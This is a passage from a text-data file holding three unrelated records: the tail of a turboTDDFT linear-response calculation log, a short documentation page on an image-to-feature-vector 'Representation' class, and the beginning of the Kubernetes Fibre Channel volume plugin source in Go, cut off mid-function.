-0.22412270E-02 -0.16376468E-04\n 4 5 -0.25092882E-01 -0.18191716E-03\n 4 6 0.14248030E-01 0.20834365E-03\n 4 7 -0.19651571E-02 -0.28519524E-04\n 4 8 -0.12913825E-02 -0.74645416E-04\n 4 9 -0.58095707E-02 -0.31176157E-03\n 4 10 0.62195248E-02 0.33212549E-03\n 4 11 0.13439248E-02 0.36181735E-04\n 4 12 0.82432667E-03 0.15327776E-04\n 4 13 -0.26380937E-03 -0.13687912E-04\n 4 14 0.33322794E-02 0.25170532E-03\n 4 15 0.12862238E-02 0.58536844E-04\n\n **************\n\n\n ! The 6 -th eigen state. The transition energy is: 0.73751162\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00016; Y -0.00016\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99869; Y -0.00003 total 0.99866 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.19495367E-01 0.22936872E-05 0.67018982E-02 0.12791175E-01\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 2 2 -0.20507 0.00051\n 3 2 0.97044 -0.00240\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 0.66599828E-06 0.19911131E-06\n 1 2 0.94202322E-06 0.34214962E-06\n 1 3 0.32615934E-02 0.99692254E-03\n 1 4 -0.10136149E-02 -0.31127249E-03\n 1 5 0.35892995E-02 0.10946616E-02\n 1 6 0.55150387E-06 0.19342715E-06\n 1 7 -0.78354195E-06 -0.31042780E-06\n 1 8 -0.45443316E-03 -0.12781638E-03\n 1 9 0.55657920E-02 0.15653563E-02\n 1 10 0.41381207E-02 0.11623883E-02\n 1 11 0.13586246E-02 0.47066894E-03\n 1 12 -0.21094827E-02 -0.72845941E-03\n 1 13 0.28892651E-02 0.99985070E-03\n 1 14 -0.29352114E-06 -0.37359267E-07\n 1 15 -0.44993141E-05 -0.13198896E-05\n 2 1 -0.87944413E-02 0.62940175E-03\n 2 2 -0.20506982E+00 0.50636583E-03\n 2 3 -0.30908157E-01 -0.22403181E-03\n 2 4 -0.40866057E-02 -0.29635312E-04\n 2 5 -0.30076288E-01 -0.21800255E-03\n 2 6 0.19919189E-02 0.29113789E-04\n 2 7 0.23267492E-02 -0.35775122E-03\n 2 8 -0.24433772E-02 -0.11361855E-03\n 2 9 -0.77258722E-02 -0.36670100E-03\n 2 10 -0.68168986E-02 -0.32297035E-03\n 2 11 -0.10316170E-02 -0.68521257E-04\n 2 12 0.15917337E-02 0.10536386E-03\n 2 13 -0.11580279E-02 -0.73915849E-04\n 2 14 0.83112130E-02 0.62228293E-03\n 2 15 0.18609415E-02 0.28913874E-03\n 3 1 0.41620144E-01 -0.29786603E-02\n 3 2 0.97044218E+00 -0.23964173E-02\n 3 3 0.36316928E-01 0.26314456E-03\n 3 4 -0.13623611E-01 -0.98798917E-04\n 3 5 -0.48448527E-01 -0.35117167E-03\n 3 6 -0.92702331E-02 -0.13558267E-03\n 3 7 -0.23335528E-02 -0.34372477E-04\n 3 8 -0.42679080E-02 -0.19243613E-03\n 3 9 -0.10111006E-01 -0.47152896E-03\n 3 10 0.96997190E-02 0.44999385E-03\n 3 11 0.24858765E-02 0.16799215E-03\n 3 12 0.21880905E-02 0.14321141E-03\n 3 13 -0.14693622E-03 -0.66752292E-05\n 3 14 -0.39307509E-01 -0.29436484E-02\n 3 15 -0.17038372E-02 -0.15682865E-03\n 4 1 0.22933491E-02 -0.16410635E-03\n 4 2 0.53464930E-01 -0.13209088E-03\n 4 3 -0.39532661E-01 -0.28655029E-03\n 4 4 -0.26360843E-02 -0.19131819E-04\n 4 5 -0.22221875E-01 -0.16107391E-03\n 4 6 -0.11526354E-03 -0.17538352E-05\n 4 7 -0.11386563E-01 -0.16640257E-03\n 4 8 -0.18328927E-02 -0.86957975E-04\n 4 9 -0.58607098E-02 -0.27180586E-03\n 4 10 -0.88089336E-02 -0.40913011E-03\n 4 11 -0.16095028E-02 -0.10734480E-03\n 4 12 0.13423665E-02 0.89581514E-04\n 4 13 -0.12022829E-02 -0.82125497E-04\n 4 14 -0.21781473E-02 -0.16309114E-03\n 4 15 -0.25578703E-02 -0.23641657E-03\n\n **************\n\n\n ! The 7 -th eigen state. The transition energy is: 0.74522253\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00008; Y -0.00008\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99915; Y -0.00001 total 0.99915 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.43199368E-02 0.29589901E-02 0.93552700E-03 0.42541964E-03\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 2 3 0.29866 0.00061\n 2 5 -0.13169 -0.00027\n 3 3 -0.45052 -0.00092\n 3 5 -0.35458 -0.00073\n 4 3 -0.24581 -0.00050\n 4 4 -0.61824 -0.00127\n 4 5 0.32724 0.00067\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 0.24156063E-06 0.71231900E-07\n 1 2 0.26934617E-06 0.10130072E-06\n 1 3 0.26655902E-02 0.65804749E-03\n 1 4 0.12880706E-02 0.31679332E-03\n 1 5 -0.20196682E-02 -0.49958475E-03\n 1 6 -0.88057108E-06 -0.18842108E-06\n 1 7 -0.25797108E-06 -0.18689246E-06\n 1 8 -0.11386893E-02 -0.40109941E-03\n 1 9 0.20268697E-02 0.71664123E-03\n 1 10 -0.29121383E-02 -0.10290464E-02\n 1 11 0.34632636E-02 0.10378557E-02\n 1 12 0.37821072E-03 0.11383425E-03\n 1 13 -0.13120695E-02 -0.39286211E-03\n 1 14 -0.95518541E-06 -0.32649628E-06\n 1 15 0.32441705E-06 0.12255702E-06\n 2 1 -0.81374519E-03 0.62426088E-04\n 2 2 -0.17824603E-01 0.13656877E-03\n 2 3 0.29866392E+00 0.61183243E-03\n 2 4 0.72781736E-01 0.14924943E-03\n 2 5 -0.13169006E+00 -0.26955356E-03\n 2 6 0.16659696E-01 0.15691945E-03\n 2 7 -0.77814704E-04 -0.34988569E-05\n 2 8 0.96945184E-03 0.49824473E-04\n 2 9 -0.16101230E-02 -0.74842993E-04\n 2 10 0.42053514E-02 0.19745687E-03\n 2 11 -0.84399751E-04 0.72215340E-04\n 2 12 0.45564479E-04 0.77299568E-05\n 2 13 0.65263952E-05 -0.40634760E-05\n 2 14 0.21238795E-02 0.17651051E-03\n 2 15 0.16504845E-03 -0.61718342E-05\n 3 1 0.88084949E-04 -0.66513666E-05\n 3 2 0.19013945E-02 -0.14710506E-04\n 3 3 -0.45052059E+00 -0.92286571E-03\n 3 4 0.13166042E-01 0.27000258E-04\n 3 5 -0.35457802E+00 -0.72609554E-03\n 3 6 0.36320180E-02 0.34121486E-04\n 3 7 -0.10262532E-01 -0.96682765E-04\n 3 8 -0.82547253E-03 -0.41143199E-04\n 3 9 -0.54625682E-02 -0.26078396E-03\n 3 10 -0.57707118E-02 -0.27286003E-03\n 3 11 0.43669140E-04 -0.66558409E-04\n 3 12 -0.60058246E-04 0.73488718E-04\n 3 13 0.64389300E-04 -0.72617413E-04\n 3 14 -0.22546000E-03 -0.17985505E-04\n 3 15 -0.88230645E-04 0.38158314E-05\n 4 1 -0.39674947E-02 0.30454731E-03\n 4 2 -0.86948381E-01 0.66690446E-03\n 4 3 -0.24581404E+00 -0.50343668E-03\n 4 4 -0.61824377E+00 -0.12661710E-02\n 4 5 0.32724238E+00 0.67015899E-03\n 4 6 0.83064302E-02 0.78221194E-04\n 4 7 0.22490417E-02 0.20735058E-04\n 4 8 -0.79409405E-02 -0.37529383E-03\n 4 9 0.54222438E-02 0.25985751E-03\n 4 10 -0.35339672E-02 -0.16814890E-03\n 4 11 0.89660040E-04 -0.94143941E-04\n 4 12 -0.64791330E-04 0.29552982E-04\n 4 13 -0.11311375E-03 0.13055974E-03\n 4 14 0.10337488E-01 0.85376246E-03\n 4 15 0.10445630E-03 -0.69900703E-05\n\n **************\n\n\n ! The 8 -th eigen state. The transition energy is: 0.74522268\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00008; Y -0.00008\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99916; Y -0.00001 total 0.99915 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.43202947E-02 0.13580277E-02 0.18700811E-02 0.10921859E-02\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 2 3 -0.16917 -0.00035\n 2 4 0.75421 0.00155\n 2 5 0.20600 0.00042\n 3 3 -0.22498 -0.00046\n 3 5 -0.33519 -0.00069\n 4 3 0.28082 0.00058\n 4 5 -0.31536 -0.00065\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 -0.35049530E-06 -0.42644679E-07\n 1 2 -0.24539888E-06 -0.40887151E-07\n 1 3 0.55755158E-03 0.13593689E-03\n 1 4 -0.32640957E-02 -0.80770731E-03\n 1 5 -0.13575358E-02 -0.33619512E-03\n 1 6 0.68072309E-05 0.13307076E-05\n 1 7 0.22743533E-05 0.29958127E-06\n 1 8 0.35416365E-02 0.12510496E-02\n 1 9 0.82123647E-03 0.29079262E-03\n 1 10 -0.81086222E-03 -0.28719288E-03\n 1 11 0.46094595E-03 0.13738655E-03\n 1 12 0.30452445E-02 0.91397621E-03\n 1 13 0.20815372E-02 0.62410613E-03\n 1 14 0.87997776E-06 0.35143857E-06\n 1 15 0.51017961E-05 0.10476279E-05\n 2 1 -0.38946809E-02 0.29887171E-03\n 2 2 -0.85330058E-01 0.65454012E-03\n 2 3 -0.16917321E+00 -0.34647051E-03\n 2 4 0.75421104E+00 0.15451762E-02\n 2 5 0.20599737E+00 0.42180460E-03\n 2 6 0.23442969E-02 0.22040668E-04\n 2 7 -0.21133469E-04 0.39383891E-05\n 2 8 0.10600882E-01 0.50083515E-03\n 2 9 0.10512291E-02 0.52085212E-04\n 2 10 -0.29144530E-02 -0.13610210E-03\n 2 11 0.33828040E-04 -0.24784912E-04\n 2 12 0.11058697E-03 -0.12705201E-03\n 2 13 0.76750874E-04 -0.11361975E-03\n 2 14 0.10147975E-01 0.83732886E-03\n 2 15 0.26017933E-04 -0.33065544E-05\n 3 1 -0.80178204E-03 0.61581070E-04\n 3 2 -0.17570038E-01 0.13470242E-03\n 3 3 -0.22497642E+00 -0.46081538E-03\n 3 4 0.86453159E-01 0.17719428E-03\n 3 5 -0.33518530E+00 -0.68649663E-03\n 3 6 -0.20673581E-03 -0.19805075E-05\n 3 7 0.15336065E-01 0.14442473E-03\n 3 8 0.38086340E-03 0.17538523E-04\n 3 9 -0.50219692E-02 -0.23953254E-03\n 3 10 -0.27121529E-02 -0.12683824E-03\n 3 11 0.16937782E-04 -0.21709298E-04\n 3 12 -0.15317902E-04 0.58056399E-04\n 3 13 0.93036883E-04 -0.63409559E-04\n 3 14 0.20968960E-02 0.17216691E-03\n 3 15 0.24333530E-03 -0.78941245E-05\n 4 1 0.77920798E-03 -0.59867029E-04\n 4 2 0.17095225E-01 -0.13098740E-03\n 4 3 0.28081837E+00 0.57517407E-03\n 4 4 0.42632490E-01 0.87229743E-04\n 4 5 -0.31535827E+00 -0.64623294E-03\n 4 6 0.14971521E-01 0.14111249E-03\n 4 7 -0.22215328E-02 -0.20727965E-04\n 4 8 0.12057887E-03 0.45063962E-05\n 4 9 -0.40468550E-02 -0.19540054E-03\n 4 10 0.42122541E-02 0.19891455E-03\n 4 11 -0.31746967E-04 0.83484431E-04\n 4 12 -0.59552099E-04 0.32002216E-04\n 4 13 0.90206024E-04 -0.22120888E-04\n 4 14 -0.20391679E-02 -0.16664364E-03\n 4 15 0.42098431E-04 -0.88619523E-05\n\n **************\n\n\n ! The 9 -th eigen state. The transition energy is: 0.74522565\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00008; Y -0.00008\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99916; Y -0.00001 total 0.99915 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.43619613E-02 0.32647341E-05 0.15288613E-02 0.28298353E-02\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 2 3 0.34931 0.00071\n 2 5 0.33842 0.00069\n 3 3 -0.40134 -0.00082\n 3 4 0.15061 0.00031\n 3 5 0.55483 0.00114\n 4 3 0.44346 0.00091\n 4 5 0.25220 0.00052\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 -0.11187495E-06 0.60171985E-07\n 1 2 -0.48510228E-07 0.86988080E-07\n 1 3 0.23155945E-02 0.55552439E-03\n 1 4 -0.69621584E-03 -0.16513740E-03\n 1 5 0.26211893E-02 0.62771256E-03\n 1 6 -0.16613202E-05 -0.32883952E-06\n 1 7 -0.40632818E-06 -0.11320896E-06\n 1 8 0.20224800E-03 0.69544366E-04\n 1 9 -0.30498168E-02 -0.10526323E-02\n 1 10 -0.22023229E-02 -0.75960870E-03\n 1 11 0.12768903E-02 0.37808819E-03\n 1 12 -0.20901087E-02 -0.61826018E-03\n 1 13 0.27790454E-02 0.82048687E-03\n 1 14 -0.20226536E-06 0.30470241E-07\n 1 15 0.73282609E-06 0.48275686E-06\n 2 1 -0.74422151E-03 0.57068898E-04\n 2 2 -0.16725759E-01 0.12821610E-03\n 2 3 0.34931364E+00 0.71486046E-03\n 2 4 0.33864824E-01 0.69442223E-04\n 2 5 0.33841669E+00 0.69271121E-03\n 2 6 -0.23725399E-02 -0.22365918E-04\n 2 7 -0.57525243E-04 0.20619209E-03\n 2 8 0.12803666E-02 0.52314366E-04\n 2 9 0.44891867E-02 0.18978946E-03\n 2 10 0.39595180E-02 0.16869585E-03\n 2 11 -0.15829221E-04 0.62215767E-04\n 2 12 0.66619084E-04 -0.93895296E-04\n 2 13 -0.15288629E-04 0.71404544E-04\n 2 14 0.20005637E-02 0.16400624E-03\n 2 15 0.13100542E-03 -0.19810350E-03\n 3 1 0.38487619E-02 -0.29532892E-03\n 3 2 0.86441609E-01 -0.66318412E-03\n 3 3 -0.40133951E+00 -0.82133743E-03\n 3 4 0.15060943E+00 0.30788613E-03\n 3 5 0.55483227E+00 0.11355901E-02\n 3 6 0.10085913E-01 0.95102015E-04\n 3 7 0.24149797E-02 0.23195556E-04\n 3 8 0.25040966E-02 0.10728045E-03\n 3 9 0.60007723E-02 0.25173043E-03\n 3 10 -0.55713313E-02 -0.23510940E-03\n 3 11 0.80919090E-05 -0.14661529E-03\n 3 12 -0.24123254E-04 -0.12732285E-03\n 3 13 -0.34732372E-04 0.12331399E-04\n 3 14 -0.10292403E-01 -0.84776141E-03\n 3 15 0.17990730E-03 0.37315699E-04\n 4 1 0.23676973E-03 -0.18222876E-04\n 4 2 0.53222844E-02 -0.40945672E-04\n 4 3 0.44345642E+00 0.90740849E-03\n 4 4 0.35274322E-01 0.72231190E-04\n 4 5 0.25220192E+00 0.51625752E-03\n 4 6 -0.18932271E-03 -0.18436498E-05\n 4 7 0.12448424E-01 0.11727416E-03\n 4 8 0.11193313E-02 0.47807872E-04\n 4 9 0.34185851E-02 0.14533442E-03\n 4 10 0.51110713E-02 0.21431177E-03\n 4 11 -0.54468715E-05 0.94914316E-04\n 4 12 0.11223751E-04 -0.79633861E-04\n 4 13 -0.13008246E-04 0.66282442E-04\n 4 14 -0.63171084E-03 -0.52584170E-04\n 4 15 0.32262685E-03 0.57431175E-04\n\n **************\n\n\n ! The 10 -th eigen state. The transition energy is: 0.74593966\n\n The two digitals below indicate the importance of doing beyong TDA: \n\n Components: X 1.00003; Y -0.00003\n\n In the occ-virt project subspace the total Fxy is:\n\n X 0.99932; Y -0.00001 total 0.99931 / 1.00000\n\n The Chi_i_i is Total 1 2 3\n\n 0.46632609E-10 0.17572509E-10 0.25820144E-10 0.32399559E-11\n\n Now is the components analysis of this transition.\n\n First we print out only the principle components.\n\n occ virt FX FY\n\n 2 3 0.41113 0.00064\n 2 5 0.26700 0.00042\n 3 3 0.20683 0.00032\n 3 4 0.66516 0.00104\n 4 3 -0.29163 -0.00046\n 4 5 -0.41644 -0.00065\n\n Now for all the calculated particle and hole pairs : \n\n occ virt FX FY\n\n 1 1 0.23052847E-06 0.52624150E-07\n 1 2 -0.29470003E-06 -0.12683811E-06\n 1 3 -0.15745590E-05 0.44804678E-06\n 1 4 0.27039273E-05 -0.46150764E-06\n 1 5 -0.71346814E-05 0.68481061E-06\n 1 6 0.39153456E-03 0.12350070E-03\n 1 7 -0.18441264E-02 -0.58227802E-03\n 1 8 0.11262695E-05 -0.50367376E-07\n 1 9 0.25567332E-05 -0.72331458E-06\n 1 10 -0.11015065E-05 -0.22158525E-06\n 1 11 0.15897094E-05 0.42906042E-06\n 1 12 -0.19504401E-05 -0.18194871E-05\n 1 13 -0.15253059E-04 -0.33762057E-05\n 1 14 -0.99007981E-05 -0.34870088E-05\n 1 15 -0.13407576E-02 -0.46891263E-03\n 2 1 -0.11670447E-05 0.70666301E-07\n 2 2 -0.92155503E-05 -0.39498952E-07\n 2 3 0.41112873E+00 0.64465896E-03\n 2 4 -0.64419084E-01 -0.10096738E-03\n 2 5 0.26699892E+00 0.41886963E-03\n 2 6 -0.74872785E-05 -0.83273364E-07\n 2 7 -0.63366842E-04 0.44082619E-06\n 2 8 0.11977609E-03 0.12944886E-04\n 2 9 -0.82894420E-02 -0.61864240E-03\n 2 10 -0.10393643E-01 -0.77835076E-03\n 2 11 0.90787207E-02 0.46778487E-03\n 2 12 -0.73895629E-02 -0.38027735E-03\n 2 13 0.10059937E-01 0.51873096E-03\n 2 14 0.17345288E-04 0.27145145E-06\n 2 15 0.55893318E-04 0.23317008E-05\n 3 1 -0.71138892E-07 -0.78530909E-07\n 3 2 0.83946117E-05 -0.23912442E-07\n 3 3 0.20682603E+00 0.32426152E-03\n 3 4 0.66515744E+00 0.10428058E-02\n 3 5 -0.20281594E-01 -0.32062725E-04\n 3 6 -0.84453760E-05 0.15467481E-07\n 3 7 0.41374123E-05 0.13347705E-06\n 3 8 -0.17797653E-01 -0.13326846E-02\n 3 9 0.27975989E-02 0.20866237E-03\n 3 10 -0.50361354E-02 -0.37646095E-03\n 3 11 0.94861059E-02 0.49064439E-03\n 3 12 -0.13104602E-01 -0.67379190E-03\n 3 13 -0.14586803E-01 -0.75179639E-03\n 3 14 -0.12245179E-04 -0.87577266E-06\n 3 15 -0.21313001E-04 -0.27056875E-05\n 4 1 0.72660260E-06 -0.39600596E-07\n 4 2 -0.27852958E-05 0.12973106E-06\n 4 3 -0.29163124E+00 -0.45722466E-03\n 4 4 -0.95240819E-01 -0.14932265E-03\n 4 5 -0.41643662E+00 -0.65302424E-03\n 4 6 -0.15137630E-05 0.48960988E-07\n 4 7 -0.91140516E-06 -0.85675839E-08\n 4 8 0.45394632E-02 0.34002725E-03\n 4 9 0.11282104E-01 0.84446265E-03\n 4 10 0.66764261E-02 0.50274924E-03\n 4 11 -0.48578638E-02 -0.25131796E-03\n 4 12 0.13428609E-01 0.69323847E-03\n 4 13 -0.74796908E-02 -0.38535827E-03\n 4 14 -0.54994495E-05 0.33670071E-06\n 4 15 -0.19726842E-04 -0.13986862E-05\n\n **************\n\n Now generate the eigenvalues list...\n Now generate the spectrum plot file...\n Finished linear response calculation...\n \n lr_dav_main : 0.86s CPU 0.90s WALL ( 1 calls)\n read_wf : 0.00s CPU 0.01s WALL ( 1 calls)\n lr_solve_e : 0.06s CPU 0.06s WALL ( 1 calls)\n calc_residue : 0.04s CPU 0.04s WALL ( 4 calls)\n expan_basis : 0.14s CPU 0.15s WALL ( 3 calls)\n matrix : 0.00s CPU 0.00s WALL ( 4 calls)\n mGS_orth : 0.13s CPU 0.14s WALL ( 9 calls)\n mGS_orth_pp : 0.00s CPU 0.00s WALL ( 9 calls)\n one_step : 0.53s CPU 0.53s WALL ( 4 calls)\n \n lr_apply : 0.41s CPU 0.42s WALL ( 118 calls)\n lr_apply_int : 0.32s CPU 0.33s WALL ( 59 calls)\n lr_apply_no : 0.09s CPU 0.09s WALL ( 59 calls)\n \n h_psi : 0.21s CPU 0.22s WALL ( 160 calls)\n lr_calc_dens : 0.06s CPU 0.06s WALL ( 59 calls)\n lr_dvpsi_e : 0.06s CPU 0.06s WALL ( 3 calls)\n lr_dv_setup : 0.00s CPU 0.00s WALL ( 1 calls)\n dv_of_drho : 0.10s CPU 0.10s WALL ( 59 calls)\n interaction : 0.06s CPU 0.06s WALL ( 59 calls)\n lr_dot : 0.10s CPU 0.10s WALL ( 13368 calls)\n ortho : 0.01s CPU 0.01s WALL ( 124 calls)\n lr_ortho : 0.00s CPU 0.00s WALL ( 99 calls)\n \n \n US routines\n lr_dot_us : 0.19s CPU 0.20s WALL ( 13368 calls)\n lr_sm1_psi : 0.00s CPU 0.00s WALL ( 118 calls)\n \n General routines\n calbec : 0.00s CPU 0.01s WALL ( 208 calls)\n fft : 0.08s CPU 0.09s WALL ( 122 calls)\n fftw : 0.25s CPU 0.26s WALL ( 876 calls)\n interpolate : 0.00s CPU 0.00s WALL ( 59 calls)\n davcio : 0.00s CPU 0.00s WALL ( 5 calls)\n \n Parallel routines\n \n \n turboTDDFT : 0.86s CPU 0.90s WALL\n\n \n This run was terminated on: 11:35:57 6Sep2018 \n\n=------------------------------------------------------------------------------=\n JOB DONE.\n=------------------------------------------------------------------------------=\n"} +{"text": "\n\nInherits [Object](../object/object.md).\n\nPlugin base class for converting images into feature vectors\n\nSee:\n\n* [Constructors](constructors.md)\n* [Static Functions](statics.md)\n* [Functions](functions.md)\n\n[Representations](representation.md) are used to convert images to feature vectors lazily (only when necessary). They are similar to [Transforms](../transform/transform.md) in many respects but differ in a few key areas. [Transforms](../transform/transform.md) should be used to construct feature vectors if it is desirable to construct a vector before evaluation that encompasses the entire feature space (or a smaller subset learned during training). [Representations](representation.md) should be used if their is a large *possible* feature space but a few select features are necessary for a particular computation. This is often the case in tree architectures, where each node has an associated feature. The *possible* feature space is all of the features associated with all of the nodes, but the *required* features are only the features associated with nodes that are actually visited. The purpose of [Representations](representation.md) is to allow these features to be calculated as needed instead of calculating all of the features before hand, which is less efficient.\n"} +{"text": "/*\nCopyright 2015 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fc\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\n\t\"github.com/golang/glog\"\n\t\"k8s.io/apimachinery/pkg/types\"\n\t\"k8s.io/kubernetes/pkg/api/v1\"\n\t\"k8s.io/kubernetes/pkg/util/exec\"\n\t\"k8s.io/kubernetes/pkg/util/mount\"\n\t\"k8s.io/kubernetes/pkg/util/strings\"\n\t\"k8s.io/kubernetes/pkg/volume\"\n\t\"k8s.io/kubernetes/pkg/volume/util\"\n)\n\n// This is the primary entrypoint for volume plugins.\nfunc ProbeVolumePlugins() []volume.VolumePlugin {\n\treturn []volume.VolumePlugin{&fcPlugin{nil, exec.New()}}\n}\n\ntype fcPlugin struct {\n\thost volume.VolumeHost\n\texe exec.Interface\n}\n\nvar _ volume.VolumePlugin = &fcPlugin{}\nvar _ volume.PersistentVolumePlugin = &fcPlugin{}\n\nconst (\n\tfcPluginName = \"kubernetes.io/fc\"\n)\n\nfunc (plugin *fcPlugin) Init(host volume.VolumeHost) error {\n\tplugin.host = host\n\treturn nil\n}\n\nfunc (plugin *fcPlugin) GetPluginName() string {\n\treturn fcPluginName\n}\n\nfunc (plugin *fcPlugin) GetVolumeName(spec *volume.Spec) (string, error) {\n\tvolumeSource, _, err := getVolumeSource(spec)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// TargetWWNs are the FibreChannel target worldwide names\n\treturn fmt.Sprintf(\"%v:%v\", volumeSource.TargetWWNs, *volumeSource.Lun), nil\n}\n\nfunc (plugin *fcPlugin) CanSupport(spec *volume.Spec) bool {\n\tif (spec.Volume != nil && spec.Volume.FC == nil) || (spec.PersistentVolume != nil && spec.PersistentVolume.Spec.FC == nil) {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc (plugin *fcPlugin) RequiresRemount() bool {\n\treturn false\n}\n\nfunc (plugin *fcPlugin) SupportsMountOption() bool {\n\treturn false\n}\n\nfunc (plugin *fcPlugin) SupportsBulkVolumeVerification() bool {\n\treturn false\n}\n\nfunc (plugin *fcPlugin) GetAccessModes() []v1.PersistentVolumeAccessMode {\n\treturn []v1.PersistentVolumeAccessMode{\n\t\tv1.ReadWriteOnce,\n\t\tv1.ReadOnlyMany,\n\t}\n}\n\nfunc (plugin *fcPlugin) NewMounter(spec *volume.Spec, pod *v1.Pod, _ volume.VolumeOptions) (volume.Mounter, error) {\n\t// Inject real implementations here, test through the internal function.\n\treturn plugin.newMounterInternal(spec, pod.UID, &FCUtil{}, plugin.host.GetMounter())\n}\n\nfunc (plugin *fcPlugin) newMounterInternal(spec *volume.Spec, podUID types.UID, manager diskManager, mounter mount.Interface) (volume.Mounter, error) {\n\t// fc volumes used directly in a pod have a ReadOnly flag set by the pod author.\n\t// fc volumes used as a PersistentVolume gets the ReadOnly flag indirectly through the persistent-claim volume used to mount the PV\n\tfc, readOnly, err := getVolumeSource(spec)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif fc.Lun == nil {\n\t\treturn nil, fmt.Errorf(\"empty lun\")\n\t}\n\n\tlun := strconv.Itoa(int(*fc.Lun))\n\n\treturn &fcDiskMounter{\n\t\tfcDisk: &fcDisk{\n\t\t\tpodUID: podUID,\n\t\t\tvolName: spec.Name(),\n\t\t\twwns: fc.TargetWWNs,\n\t\t\tlun: lun,\n\t\t\tmanager: manager,\n\t\t\tio: &osIOHandler{},\n\t\t\tplugin: plugin},\n\t\tfsType: fc.FSType,\n\t\treadOnly: readOnly,\n\t\tmounter: &mount.SafeFormatAndMount{Interface: mounter, Runner: exec.New()},\n\t}, nil\n}\n\nfunc (plugin *fcPlugin) NewUnmounter(volName string, podUID types.UID) (volume.Unmounter, error) {\n\t// Inject real implementations here, test through the internal function.\n\treturn plugin.newUnmounterInternal(volName, podUID, &FCUtil{}, plugin.host.GetMounter())\n}\n\nfunc (plugin *fcPlugin) newUnmounterInternal(volName string, podUID types.UID, manager diskManager, mounter mount.Interface) (volume.Unmounter, error) {\n\treturn &fcDiskUnmounter{\n\t\tfcDisk: &fcDisk{\n\t\t\tpodUID: podUID,\n\t\t\tvolName: volName,\n\t\t\tmanager: manager,\n\t\t\tplugin: plugin,\n\t\t\tio: &osIOHandler{},\n\t\t},\n\t\tmounter: mounter,\n\t}, nil\n}\n\nfunc (plugin *fcPlugin) execCommand(command string, args []string) ([]byte, error) {\n\tcmd := plugin.exe.Command(command, args...)\n\treturn cmd.CombinedOutput()\n}\n\nfunc (plugin *fcPlugin) ConstructVolumeSpec(volumeName, mountPath string) (*volume.Spec, error) {\n\tfcVolume := &v1.Volume{\n\t\tName: volumeName,\n\t\tVolumeSource: v1.VolumeSource{\n\t\t\tFC: &v1.FCVolumeSource{},\n\t\t},\n\t}\n\treturn volume.NewSpecFromVolume(fcVolume), nil\n}\n\ntype fcDisk struct {\n\tvolName string\n\tpodUID types.UID\n\tportal string\n\twwns []string\n\tlun string\n\tplugin *fcPlugin\n\t// Utility interface that provides API calls to the provider to attach/detach disks.\n\tmanager diskManager\n\t// io handler interface\n\tio ioHandler\n\tvolume.MetricsNil\n}\n\nfunc (fc *fcDisk) GetPath() string {\n\tname := fcPluginName\n\t// safe to use PodVolumeDir now: volume teardown occurs before pod is cleaned up\n\treturn fc.plugin.host.GetPodVolumeDir(fc.podUID, strings.EscapeQualifiedNameForDisk(name), fc.volName)\n}\n\ntype fcDiskMounter struct {\n\t*fcDisk\n\treadOnly bool\n\tfsType string\n\tmounter *mount.SafeFormatAndMount\n}\n\nvar _ volume.Mounter = &fcDiskMounter{}\n\nfunc (b *fcDiskMounter) GetAttributes() volume.Attributes {\n\treturn volume.Attributes{\n\t\tReadOnly: b.readOnly,\n\t\tManaged: !b.readOnly,\n\t\tSupportsSELinux: true,\n\t}\n}\n\n// Checks prior to mount operations to verify that the required components (binaries, etc.)\n// to mount the volume are available on the underlying node.\n// If not, it returns an error\nfunc (b *fcDiskMounter) CanMount() error {\n\treturn nil\n}\n\nfunc (b *fcDiskMounter) SetUp(fsGroup *int64) error {\n\treturn b.SetUpAt(b.GetPath(), fsGroup)\n}\n\nfunc (b *fcDiskMounter) SetUpAt(dir string, fsGroup *int64) error {\n\t// diskSetUp checks mountpoints and prevent repeated calls\n\terr := diskSetUp(b.manager, *b, dir, b.mounter, fsGroup)\n\tif err != nil {\n\t\tglog.Errorf(\"fc: failed to setup\")\n\t}\n\treturn err\n}\n\ntype fcDiskUnmounter struct {\n\t*fcDisk\n\tmounter mount.Interface\n}\n\nvar _ volume.Unmounter = &fcDiskUnmounter{}\n\n// Unmounts the bind mount, and detaches the disk only if the disk\n// resource was the last reference to that disk on the kubelet.\nfunc (c *fcDiskUnmounter) TearDown() error {\n\treturn c.TearDownAt(c.GetPath())\n}\n\nfunc (c *fcDiskUnmounter) TearDownAt(dir string) error {\n\treturn util.UnmountPath(dir, c.mounter)\n}\n\nfunc getVolumeSource(spec *volume.Spec) (*v1.FCVolumeSource, bool, error) {\n\tif spec.Volume != nil && spec.Volume.FC != nil {\n\t\treturn spec.Volume.FC, spec.Volume.FC.ReadOnly, nil\n\t} else if 